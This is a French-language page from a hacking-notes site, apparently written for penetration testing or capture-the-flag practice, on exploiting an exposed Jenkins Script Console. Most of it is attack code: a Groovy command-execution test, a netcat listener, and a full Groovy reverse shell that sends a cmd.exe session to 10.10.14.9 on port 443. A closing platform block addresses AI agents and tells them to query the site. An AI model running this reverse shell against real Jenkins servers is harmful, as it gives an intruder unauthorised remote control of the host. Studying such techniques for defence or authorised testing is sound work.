> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/jenkins-cms-exploitation.md).

# Jenkins

<figure><img src="/files/c615031895c8985303661c606e9c98b79659fe14" alt=""><figcaption></figcaption></figure>

**Jenkins - Exécution de scripts Groovy**

Jenkins est accessible et **Script Console** est activé, permettant l'exécution de scripts Groovy.

<figure><img src="/files/9093fe6c4ef9dfb4b5edd8f3bfe296b917ea6605" alt=""><figcaption></figcaption></figure>

Exemple de commande pour tester l'exécution :

```groovy
println "ipconfig".execute().text
```

<figure><img src="/files/06292d1d730732cbf57f6186dd96c5449f6ab2f5" alt=""><figcaption></figcaption></figure>

### **Exploitation**

#### **Reverse shell via la console de script Groovy**

Pour obtenir un accès à distance, utilisez le flux de travail suivant :

1. **Démarrez un écouteur sur le port 443 :**

```bash
rlwrap nc -nvlp 443
```

2. **Exécutez le script suivant dans la console Groovy** pour établir un shell inversé :

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="/files/1911742fe6a2b6929f67f79bc8526d43da5555f5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/jenkins-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
